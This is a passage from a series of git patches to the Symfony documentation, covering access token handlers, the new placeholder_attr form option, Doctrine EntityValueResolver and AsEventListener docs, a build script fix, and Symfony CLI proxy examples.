+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
 
     class AccessTokenHandler implements AccessTokenHandlerInterface
     {
@@ -90,16 +91,16 @@ This handler must implement
         ) {
         }
 
-        public function getUserIdentifierFrom(string $token): string
+        public function getUserBadgeFrom(string $accessToken): UserBadge
         {
             // e.g. query the "access token" database to search for this token
             $accessToken = $this->repository->findOneByValue($token);
-            if ($accessToken === null || !$accessToken->isValid()) {
+            if (null === $accessToken || !$accessToken->isValid()) {
                 throw new BadCredentialsException('Invalid credentials.');
             }
 
-            // and return the user identifier from the found token
-            return $accessToken->getUserId();
+            // and return a UserBadge object containing the user identifier from the found token
+            return new UserBadge($accessToken->getUserId());
         }
     }
 

From 8fcd394faf71e578a2c9e7c5eb5a54cc75eceff2 Mon Sep 17 00:00:00 2001
From: Jordane Vaspard <jordane.vaspard@laposte.net>
Date: Sat, 26 Nov 2022 18:01:00 +0100
Subject: [PATCH 3900/7107] Add a placeholder_attr option to ChoiceType

---
 reference/forms/types/choice.rst              |  4 ++++
 reference/forms/types/country.rst             |  2 ++
 reference/forms/types/currency.rst            |  2 ++
 reference/forms/types/entity.rst              |  2 ++
 reference/forms/types/enum.rst                |  2 ++
 reference/forms/types/language.rst            |  2 ++
 reference/forms/types/locale.rst              |  2 ++
 .../types/options/placeholder_attr.rst.inc    | 21 +++++++++++++++++++
 reference/forms/types/timezone.rst            |  2 ++
 9 files changed, 39 insertions(+)
 create mode 100644 reference/forms/types/options/placeholder_attr.rst.inc

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 9d2ade8df4c..154386c4ffb 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -212,6 +212,8 @@ the ``Choice`` constraint behave like a ``NotChoice`` constraint.
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 Overridden Options
@@ -311,6 +313,8 @@ Field Variables
 | placeholder                | ``mixed``    | The empty value if not already in the list, otherwise             |
 |                            |              | ``null``.                                                         |
 +----------------------------+--------------+-------------------------------------------------------------------+
+| placeholder_attr           | ``array``    | The value of the `placeholder_attr`_ option.                      |
++----------------------------+--------------+-------------------------------------------------------------------+
 | choice_translation_domain  | ``mixed``    | ``boolean``, ``null`` or ``string`` to determine if the value     |
 |                            |              | should be translated.                                             |
 +----------------------------+--------------+-------------------------------------------------------------------+
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 4362cefd0d0..8c6e1bf20f9 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -81,6 +81,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 7ffa36a4f73..a80051022ae 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -62,6 +62,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 721a503aae2..80712a98c75 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -256,6 +256,8 @@ Doctrine's Array Collection.
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 ``preferred_choices``
 ~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 4ee2559f70b..f5c1378dc89 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -78,6 +78,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index a29ef50930d..b00aa6af6d9 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -98,6 +98,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 4ee77116489..dae2d26cb87 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -75,6 +75,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
diff --git a/reference/forms/types/options/placeholder_attr.rst.inc b/reference/forms/types/options/placeholder_attr.rst.inc
new file mode 100644
index 00000000000..49b656cc6df
--- /dev/null
+++ b/reference/forms/types/options/placeholder_attr.rst.inc
@@ -0,0 +1,21 @@
+``placeholder_attr``
+~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``array`` **default**: ``[]``
+
+Use this to add additional HTML attributes to the placeholder choice::
+
+    use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
+    // ...
+
+    $builder->add('fruits', ChoiceType::class, [
+        // ...
+        'placeholder' => '...',
+        'placeholder_attr' => [
+            ['title' => 'Choose an option'],
+        ],
+    ]);
+
+.. versionadded:: 6.3
+
+    The ``placeholder_attr`` option was introduced in Symfony 6.3.
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 6dc0d793b3b..270d44bf281 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -92,6 +92,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc

From 92ac566ac04ffe8192878f8f4827060152e91ce5 Mon Sep 17 00:00:00 2001
From: Jordane Vaspard <jordane.vaspard@laposte.net>
Date: Sat, 26 Nov 2022 18:47:32 +0100
Subject: [PATCH 3901/7107] Fix assets path in all directories no matter the
 deep. Add fix for js' assets. Add fix for fontawesome' assets.

---
 _build/build.php | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/_build/build.php b/_build/build.php
index 66470a0df59..989eaea7cbe 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -47,9 +47,18 @@
 
         if ($result->isSuccessful()) {
             // fix assets URLs to make them absolute (otherwise, they don't work in subdirectories)
-            foreach (glob($outputDir.'/**/*.html') as $htmlFilePath) {
+            $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($outputDir));
+
+            foreach (new RegexIterator($iterator, '/^.+\.html$/i', RegexIterator::GET_MATCH) as $match) {
+                $htmlFilePath = array_shift($match);
+                $htmlContents = file_get_contents($htmlFilePath);
+                file_put_contents($htmlFilePath, str_replace('<head>', '<head><base href="/">', $htmlContents));
+            }
+
+            foreach (new RegexIterator($iterator, '/^.+\.css/i', RegexIterator::GET_MATCH) as $match) {
+                $htmlFilePath = array_shift($match);
                 $htmlContents = file_get_contents($htmlFilePath);
-                file_put_contents($htmlFilePath, str_replace('href="assets/', 'href="/assets/', $htmlContents));
+                file_put_contents($htmlFilePath, str_replace('fonts/', '../fonts/', $htmlContents));
             }
 
             $io->success(sprintf("The Symfony Docs were successfully built at %s", realpath($outputDir)));

From e97a574f9cd49e9f62f43522f62eeb9358fb72cb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sun, 27 Nov 2022 17:41:23 +0100
Subject: [PATCH 3902/7107] Add documentation about doctrine's AsEventListener

---
 .doctor-rst.yaml    |  1 +
 doctrine/events.rst | 23 +++++++++++++++++++++++
 2 files changed, 24 insertions(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 7323d53d1dd..fac523a64da 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -80,6 +80,7 @@ whitelist:
         - 'The bin/console Command'
         - '# username is your full Gmail or Google Apps email address'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
+        - '.. versionadded:: 2.7.2' # Doctrine
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 0.28.4' # Encore
         - '.. versionadded:: 2.4.0' # SwiftMailer
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 9a2756a4e61..1b9f2d305a4 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -149,6 +149,23 @@ with the ``doctrine.event_listener`` tag:
 
 .. configuration-block::
 
+    .. code-block:: attribute
+
+        // src/App/EventListener/SearchIndexer.php
+        namespace App\EventListener;
+
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsEventListener;
+        use Doctrine\ORM\Event\LifecycleEventArgs;
+
+        #[AsEventListener('postPersist'/*, 500, 'default'*/)]
+        class SearchIndexer
+        {
+            public function postPersist(LifecycleEventArgs $event): void
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -219,6 +236,12 @@ with the ``doctrine.event_listener`` tag:
             ;
         };
 
+
+.. versionadded:: 2.7.2
+
+    The :class:`Doctrine\\Bundle\\DoctrineBundle\\Attribute\\AsEventListener` 
+    attribute was introduced in DoctrineBundle 2.7.2.
+
 .. tip::
 
     Symfony loads (and instantiates) Doctrine listeners only when the related

From 36d91fe8b734bc391733696f026e3249b5330b8c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sun, 23 Oct 2022 17:17:26 +0200
Subject: [PATCH 3903/7107] Add documentation about the Doctrine Entity Value
 Resolver

---
 .doctor-rst.yaml   |   1 +
 best_practices.rst |  13 ++-
 doctrine.rst       | 266 +++++++++++++++++++++++++++++++++++++++++++--
 3 files changed, 265 insertions(+), 15 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 7323d53d1dd..5606ed239a1 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -88,6 +88,7 @@ whitelist:
         - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
+        - '.. versionadded:: 2.7.1' # Doctrine
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '123,' # assertion for var_dumper - components/var_dumper.rst
diff --git a/best_practices.rst b/best_practices.rst
index bc2269b4236..efe15c1c6fa 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -246,16 +246,17 @@ Instead, you must use dependency injection to fetch services by
 :ref:`type-hinting action method arguments <controller-accessing-services>` or
 constructor arguments.
 
-Use ParamConverters If They Are Convenient
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Use EntityValueResolver If It Is Convenient
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you're using :doc:`Doctrine </doctrine>`, then you can *optionally* use the
-`ParamConverter`_ to automatically query for an entity and pass it as an argument
-to your controller. It will also show a 404 page if no entity can be found.
+`EntityValueResolver`_ to automatically query for an entity and pass it as an
+argument to your controller. It will also show a 404 page if no entity can be
+found.
 
 If the logic to get an entity from a route variable is more complex, instead of
-configuring the ParamConverter, it's better to make the Doctrine query inside
-the controller (e.g. by calling to a :doc:`Doctrine repository method </doctrine>`).
+configuring the EntityValueResolver, it's better to make the Doctrine query
+inside the controller (e.g. by calling to a :doc:`Doctrine repository method </doctrine>`).
 
 Templates
 ---------
diff --git a/doctrine.rst b/doctrine.rst
index 632641d1f11..6ad5c6d665d 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -598,15 +598,59 @@ the :ref:`doctrine-queries` section.
     see the web debug toolbar, install the ``profiler`` :ref:`Symfony pack <symfony-packs>`
     by running this command: ``composer require --dev symfony/profiler-pack``.
 
-Automatically Fetching Objects (ParamConverter)
------------------------------------------------
+Automatically Fetching Objects (EntityValueResolver)
+----------------------------------------------------
 
-In many cases, you can use the `SensioFrameworkExtraBundle`_ to do the query
-for you automatically! First, install the bundle in case you don't have it:
+In many cases, you can use the `EntityValueResolver`_ to do the query for you
+automatically! First, enable the feature:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/doctrine.yaml
+        doctrine:
+            orm:
+                controller_resolver:
+                    enabled: true
+                    auto_mapping: true
+                    evict_cache: false
+
+    .. code-block:: xml
+
+        <!-- config/packages/doctrine.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/doctrine
+                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
 
-    $ composer require sensio/framework-extra-bundle
+            <doctrine:config>
+                <!-- by convention the env var names are always uppercase -->
+                <doctrine:orm>
+                    <doctrine:controller_resolver auto_mapping="true" evict_cache="false"/>
+                </doctrine:orm>
+            </doctrine:config>
+
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/doctrine.php
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $controllerResolver = $doctrine->orm()
+                ->entityManager('default')
+                    // ...
+                    ->controllerResolver();
+
+            $controllerResolver->autoMapping(true);
+            $controllerResolver->evictCache(true);
+        };
 
 Now, simplify your controller::
 
@@ -621,7 +665,7 @@ Now, simplify your controller::
 
     class ProductController extends AbstractController
     {
-        #[Route('/product/{id}', name: 'product_show')]
+        #[Route('/product/{id}')]
         public function show(Product $product): Response
         {
             // use the Product!
@@ -632,7 +676,212 @@ Now, simplify your controller::
 That's it! The bundle uses the ``{id}`` from the route to query for the ``Product``
 by the ``id`` column. If it's not found, a 404 page is generated.
 
-There are many more options you can use. Read more about the `ParamConverter`_.
+This behavior can be enabled on all your controllers, by setting the ``auto_mapping``
+parameter to ``true``. Or individually on the desired controllers by using the
+``MapEntity`` attribute:
+
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use App\Entity\Product;
+    use App\Repository\ProductRepository;
+    use Symfony\Bridge\Doctrine\Attribute\MapEntity;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
+    // ...
+
+    class ProductController extends AbstractController
+    {
+        #[Route('/product/{id}')]
+        public function show(
+            #[MapEntity]
+            Product $product
+        ): Response {
+            // use the Product!
+            // ...
+        }
+    }
+
+Fetch Automatically
+~~~~~~~~~~~~~~~~~~~
+
+If your route wildcards match properties on your entity, then the resolver
+will automatically fetch them:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        /**
+         * Fetch via primary key because {id} is in the route.
+         */
+        #[Route('/product/{id}')]
+        public function showByPk(Post $post): Response
+        {
+        }
+
+        /**
+         * Perform a findOneBy() where the slug property matches {slug}.
+         */
+        #[Route('/product/{slug}')]
+        public function showBySlug(Post $post): Response
+        {
+        }
+
+Automatic fetching works in these situations:
+
+* If ``{id}`` is in your route, then this is used to fetch by
+  primary key via the ``find()`` method.
+
+* The resolver will attempt to do a ``findOneBy()`` fetch by using
+  *all* of the wildcards in your route that are actually properties
+  on your entity (non-properties are ignored).
+
+You can control this behavior by actually *adding* the ``MapEntity``
+attribute and using the `MapEntity options`_.
+
+Fetch via an Expression
+~~~~~~~~~~~~~~~~~~~~~~~
+
+If automatic fetching doesn't work, use an expression:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        use Sensio\Bundle\FrameworkExtraBundle\Configuration\Entity;
+
+        #[Route('/product/{product_id}')]
+        public function show(
+            #[MapEntity(expr: 'repository.find(product_id)')]
+            Product $product
+        ): Response {
+        }
+
+Use the special ``MapEntity`` attribute with an ``expr`` option to
+fetch the object by calling a method on your repository. The
+``repository`` method will be your entity's Repository class and
+any route wildcards - like ``{product_id}`` are available as variables.
+
+This can also be used to help resolve multiple arguments:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        #[Route('/product/{id}/comments/{comment_id}')]
+        public function show(
+            Product $product
+            #[MapEntity(expr: 'repository.find(comment_id)')]
+            Comment $comment
+        ): Response {
+        }
+
+In the example above, the ``$product`` argument is handled automatically, 
+but ``$comment`` is configured with the attribute since they cannot both follow
+the default convention.
+
+.. _`MapEntity options`:
+
+
+MapEntity Options
+~~~~~~~~~~~~~~~~~
+
+A number of ``options`` are available on the ``MapEntity`` annotation to 
+control behavior:
+
+* ``id``: If an ``id`` option is configured and matches a route parameter, then
+  the resolver will find by the primary key:
+
+  .. configuration-block::
+
+      .. code-block:: php-attributes
+  
+          #[Route('/product/{product_id}')]
+          public function show(
+            Product $product
+            #[MapEntity(id: 'product_id')]
+            Comment $comment
+          ): Response {
+          }
+
+* ``mapping``: Configures the properties and values to use with the ``findOneBy()``
+  method: the key is the route placeholder name and the value is the Doctrine 
+  property name:
+
+  .. configuration-block::
+
+      .. code-block:: php-attributes
+
+          #[Route('/product/{category}/{slug}/comments/{comment_slug}')]
+          public function show(
+            #[MapEntity(mapping: ['date' => 'date', 'slug' => 'slug'])]
+            Product $product
+            #[MapEntity(mapping: ['comment_slug' => 'slug'])]
+            Comment $comment
+          ): Response {
+          }
+
+* ``exclude`` Configures the properties that should be used in the ``findOneBy()``
+  method by *excluding* one or more properties so that not *all* are used:
+
+  .. configuration-block::
+
+      .. code-block:: php-attributes
+
+          #[Route('/product/{slug}/{date}')]
+          public function show(
+            #[MapEntity(exclude: ['date'])]
+            Product $product
+            \DateTime $date
+          ): Response {
+          }
+
+* ``stripNull`` If true, then when ``findOneBy()`` is used, any values that 
+  are ``null`` will not be used for the query.
+
+* ``entityManager`` By default, the ``EntityValueResolver`` uses the *default*
+  entity manager, but you can configure this:
+
+  .. configuration-block::
+
+      .. code-block:: php-attributes
+
+          #[Route('/product/{id}')]
+          public function show(
+            #[MapEntity(entityManager: ['foo'])]
+            Product $product
+          ): Response {
+          }
+
+* ``evictCache`` If true, forces Doctrine to always fetch the entity from the 
+  database instead of cache.
+
+* ``disabled`` If true, the ``EntityValueResolver`` will not try to replace 
+  the argument.
+
+.. tip::
+
+    When enabled globally, it's possible to disabled the behavior on a specific
+    controller, by using the ``MapEntity`` set to ``disabled``.
+
+        public function show(
+            #[CurrentUser]
+            #[MapEntity(disabled: true)]
+            User $user
+        ): Response {
+            // User is not resolved by the EntityValueResolver
+            // ...
+        }
+
+.. versionadded:: 6.2
+
+    Entity Value Resolver was introduced in Symfony 6.2.
+
+.. versionadded:: 2.7.1
+
+    Autowiring of the ``EntityValueResolver`` was introduced in DoctrineBundle
+    2.7.1.
 
 Updating an Object
 ------------------
@@ -896,7 +1145,6 @@ Learn more
 .. _`DoctrineMigrationsBundle`: https://github.com/doctrine/DoctrineMigrationsBundle
 .. _`NativeQuery`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/native-sql.html
 .. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
-.. _`ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`limit of 767 bytes for the index key prefix`: https://dev.mysql.com/doc/refman/5.6/en/innodb-limits.html
 .. _`Doctrine screencast series`: https://symfonycasts.com/screencast/symfony-doctrine
 .. _`API Platform`: https://api-platform.com/docs/core/validation/

From 80095c666c972512dbb92dde3822945d02c4c735 Mon Sep 17 00:00:00 2001
From: Marco Woehr <necrobutcher.htp@gmail.com>
Date: Mon, 28 Nov 2022 09:45:59 +0100
Subject: [PATCH 3904/7107] Update property_info.rst

Ref https://github.com/symfony/symfony-docs/pull/17459.
---
 components/property_info.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 276479d1e09..f9b693336a8 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -323,13 +323,13 @@ this returns ``true`` if:
   ``@var SomeClass<DateTime>``, ``@var SomeClass<integer,string>``,
   ``@var Doctrine\Common\Collections\Collection<App\Entity\SomeEntity>``, etc.)
 
-``Type::getCollectionKeyType()`` & ``Type::getCollectionValueType()``
+``Type::getCollectionKeyTypes()`` & ``Type::getCollectionValueTypes()``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If the property is a collection, additional type objects may be returned
 for both the key and value types of the collection (if the information is
-available), via the :method:`Type::getCollectionKeyType() <Symfony\\Component\\PropertyInfo\\Type::getCollectionKeyType>`
-and :method:`Type::getCollectionValueType() <Symfony\\Component\\PropertyInfo\\Type::getCollectionValueType>`
+available), via the :method:`Type::getCollectionKeyTypes() <Symfony\\Component\\PropertyInfo\\Type::getCollectionKeyTypes>`
+and :method:`Type::getCollectionValueTypes() <Symfony\\Component\\PropertyInfo\\Type::getCollectionValueTypes>`
 methods.
 
 .. _`components-property-info-extractors`:

From 65f10aca221561e6d6baff6f17af802e0403f862 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 28 Nov 2022 11:47:00 +0100
Subject: [PATCH 3905/7107] Fix build

---
 security/access_token.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index e29267585c6..724979764a8 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -343,6 +343,6 @@ and configure the service ID as the ``success_handler``:
     ``failure_handler`` option and create a class that implements
     :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
 
-.. _`Json Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
+.. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
 .. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html
 .. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750

From 1d78eb95e06c777e3498664704bc24953bba353e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Nov 2022 11:58:56 +0100
Subject: [PATCH 3906/7107] Mark some Symfony CLI feature as experimental

---
 setup/symfony_server.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 8cc8d4dfd75..e065ba81b3b 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -280,6 +280,11 @@ server provides a ``run`` command to wrap them as follows:
 Configuring Workers
 -------------------
 
+.. caution::
+
+    This feature is experimental and could change or be removed at any time
+    without prior notice.
+
 If you like some processes to start automatically, along with the webserver
 (``symfony server:start``), add a configuration file to your project:
 

From 858cabccea0982ca9443f5176c73a1ac055f0300 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Mon, 28 Nov 2022 18:45:08 +0100
Subject: [PATCH 3907/7107] [Validator] Remove annotation

---
 validation/custom_constraint.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index c061c23f682..4887a126c02 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -31,14 +31,14 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
             public string $mode = 'strict';
         }
 
-Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
-use it as an annotation/attribute in other classes.
+Add ``#[\Attribute]`` to the constraint class if you want to
+use it as an attribute in other classes.
 
 .. versionadded:: 6.1
 
     The ``#[HasNamedArguments]`` attribute was introduced in Symfony 6.1.
 
-You can use ``#[HasNamedArguments]`` or ``getRequiredOptions()`` to make some constraint options required::
+You can use ``#[HasNamedArguments]`` to make some constraint options required::
 
     // src/Validator/ContainsAlphanumeric.php
     namespace App\Validator;

From db15323a403d28f46533540b4b02de9501c71988 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 17 Nov 2022 23:30:03 +0100
Subject: [PATCH 3908/7107] [Validator] Add pattern in Regex constraint
 violations

---
 reference/constraints/Regex.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 6f94c5c151e..7ae66428670 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -258,12 +258,17 @@ This is the message that will be shown if this validator fails.
 
 You can use the following parameters in this message:
 
-===============  ==============================================================
-Parameter        Description
-===============  ==============================================================
-``{{ value }}``  The current (invalid) value
-``{{ label }}``  Corresponding form field label
-===============  ==============================================================
+=================  ==============================================================
+Parameter          Description
+=================  ==============================================================
+``{{ value }}``    The current (invalid) value
+``{{ label }}``    Corresponding form field label
+``{{ pattern }}``  The expected matching pattern
+=================  ==============================================================
+
+.. versionadded:: 6.3
+
+   The ``{{ pattern }}`` parameter was introduced in 6.3.
 
 ``pattern``
 ~~~~~~~~~~~

From 50bfc316f12a60957824d29ca14caf2cc576864c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Manuel=20Kie=C3=9Fling?= <manuel@kiessling.net>
Date: Tue, 29 Nov 2022 09:47:25 +0100
Subject: [PATCH 3909/7107] Remove paragraph on legacy_error_messages config

As the `legacy_error_messages` config node is deprecated since 6.2 (see https://github.com/symfony/symfony/pull/47598), it should probably not be mentioned in the docs any longer.
---
 forms.rst | 42 ------------------------------------------
 1 file changed, 42 deletions(-)

diff --git a/forms.rst b/forms.rst
index 1ba3410e29e..01c3b03445c 100644
--- a/forms.rst
+++ b/forms.rst
@@ -559,48 +559,6 @@ To see the second approach - adding constraints to the form - and to
 learn more about the validation constraints, please refer to the
 :doc:`Symfony validation documentation </validation>`.
 
-Form Validation Messages
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-The form types have default error messages that are more clear and
-user-friendly than the ones provided by the validation constraints. To enable
-these new messages set the ``legacy_error_messages`` option to ``false``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            form:
-                legacy_error_messages: false
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:form legacy-error-messages="false"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $framework->form()->legacyErrorMessages(false);
-        };
-
 Other Common Form Features
 --------------------------
 

From ae927c982631c0446b5a9bd520fd7ccedc24fc18 Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Tue, 29 Nov 2022 10:05:27 +0100
Subject: [PATCH 3910/7107] feat(symfony-cli): add "symfony proxy:url" command
 usage

---
 setup/symfony_server.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 8b692364caa..1f0742c03b5 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -237,7 +237,14 @@ domains work:
 
 .. code-block:: terminal
 
-    $ https_proxy=http://127.0.0.1:7080 curl https://my-domain.wip
+    # Example with curl
+    $ https_proxy=$(symfony proxy:url) curl https://my-domain.wip
+
+    # Example with Blackfire and curl
+    $ https_proxy=$(symfony proxy:url) blackfire curl https://my-domain.wip
+
+    # Example with Cypress
+    $ https_proxy=$(symfony proxy:url) ./node_modules/bin/cypress open
 
 .. note::
 

From 81ae7bc5e446a165e2ceb1ae8c321ae53bdac18b Mon Sep 17 00:00:00 2001
From: renepupil <117264860+renepupil@users.noreply.github.com>
